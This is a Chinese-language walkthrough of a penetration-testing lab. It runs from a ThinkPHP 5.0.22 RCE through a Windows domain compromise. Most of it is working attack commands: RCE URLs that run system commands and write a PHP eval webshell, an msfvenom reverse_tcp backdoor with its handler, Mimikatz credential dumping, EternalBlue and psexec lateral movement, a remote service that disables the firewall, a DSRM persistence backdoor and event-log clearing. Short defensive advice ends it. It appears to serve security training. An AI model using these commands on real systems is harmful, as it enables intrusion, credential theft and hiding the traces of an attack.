一次简单的内网渗透靶场实战
字数 1062 2025-08-05 08:19:10
内网渗透靶场实战教学文档
环境搭建
靶场环境配置:
- 内网Win7主机:192.168.138.136
- 外网Win7主机:192.168.10.25
- 域内主机Win2008:192.168.138.138(域控)
Web服务器渗透
1. 信息收集
端口扫描:
nmap -T4 -sC -sV 192.168.10.25
发现开放端口:80(HTTP)、135、139、445(SMB)
Web应用识别:
- ThinkPHP 5.0.22版本(通过报错信息确认)
- 存在已知远程命令执行漏洞
2. ThinkPHP漏洞利用
漏洞描述:
ThinkPHP对Requests类的method方法提供了表单请求伪造功能,攻击者可设置$_POST['_method']='__construct'覆盖类变量,将filter变量覆盖为system等函数名,导致任意命令执行。
漏洞验证:
searchsploit thinkphp
找到5.x远程执行漏洞(46150.txt)
利用过程:
- 列出数据库名:
192.168.10.25/thinkphp/public/?s=.|think\config/get&name=database.username
- 查看当前权限:
192.168.10.25/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
- 查看网络配置:
192.168.10.25/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ipconfig
- 写入Webshell:
192.168.10.25/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php @eval($_POST[cmd]);?>" > connect.php
3. 批量检测脚本
提供Python脚本用于批量检测ThinkPHP漏洞:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# ThinkPHP5 5.0.22/5.1.29 远程代码执行漏洞检测脚本
# 使用方法:将目标URL放入url.txt,存在漏洞的地址将保存到target.txt
内网信息收集
基础信息收集:
whoami
ipconfig
net view
net config workstation
net user /domain
域环境信息:
net group "domain computers" /domain
net group "domain controllers" /domain
net group "domain admins" /domain
内网渗透
1. 获取初始立足点
生成并上传后门:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.11 LPORT=4444 -f exe > abc.exe
MSF监听设置:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.10.11
set LPORT 4444
run
2. 权限提升与信息收集
提权操作:
getsystem
域信息收集:
chcp 65001
net user /domain
net group "domain admins" /domain
3. 凭证获取
使用Kiwi获取密码:
load kiwi
kiwi_cmd privilege::debug
ps # 寻找64位进程
migrate <PID>
kiwi_cmd sekurlsa::logonPasswords
获取到:
- 域管密码:dc123.com
- 靶机密码:123.com
4. 横向移动技术
方法一:MS17-010永恒之蓝
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.138.138
run
方法二:PTH哈希传递
use exploit/windows/smb/psexec
set RHOSTS 192.168.138.138
set SMBDomain SUN
set SMBUser administrator
set SMBPass dc123.com
set payload windows/meterpreter/bind_tcp
run
方法三:IPC$+计划任务
- 建立IPC连接:
net use \\192.168.138.138\ipc$ dc123.com /user:administrator
- 创建服务关闭防火墙:
sc \\192.168.138.138 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\192.168.138.138 start unablefirewall
- 验证防火墙状态:
netsh advfirewall show allprofiles
5. 远程桌面访问
设置SOCKS代理:
use auxiliary/server/socks_proxy
set VERSION 4a
run
配置proxychains:
socks4 192.168.10.11 1080
连接RDP:
proxychains4 rdesktop 192.168.138.138
权限维持
1. DSRM后门
修改DSRM密码:
ntdsutil
set dsrm password
reset password on server null
<输入新密码>
<确认新密码>
q
q
修改登录方式:
New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -name "DsrmAdminLogonBehavior" -value 2 -propertyType DWORD
哈希传递登录:
privilege::Debug
sekurlsa::pth /domain:WIN-K6S18HH1766 /user:administrator /ntlm:<hash>
2. 日志清除
方法一:使用MSF:
run event_manager -i
run event_manager -c
方法二:手动清除:
通过服务器管理器手动清除事件日志
关键知识点总结
- ThinkPHP漏洞利用:重点掌握版本识别和RCE漏洞利用方法
- 内网信息收集:域环境信息收集是内网渗透的基础
- 横向移动技术:
- MS17-010利用条件与限制
- PTH哈希传递的原理与实现
- IPC$+计划任务的组合利用
- 权限维持技术:DSRM后门的配置与利用方法
- 隧道技术:SOCKS代理在内网穿透中的应用
防御建议
- 及时更新Web框架和系统补丁
- 限制域管账户的使用范围
- 监控异常服务创建和计划任务
- 定期检查DSRM账户设置
- 加强日志审计和监控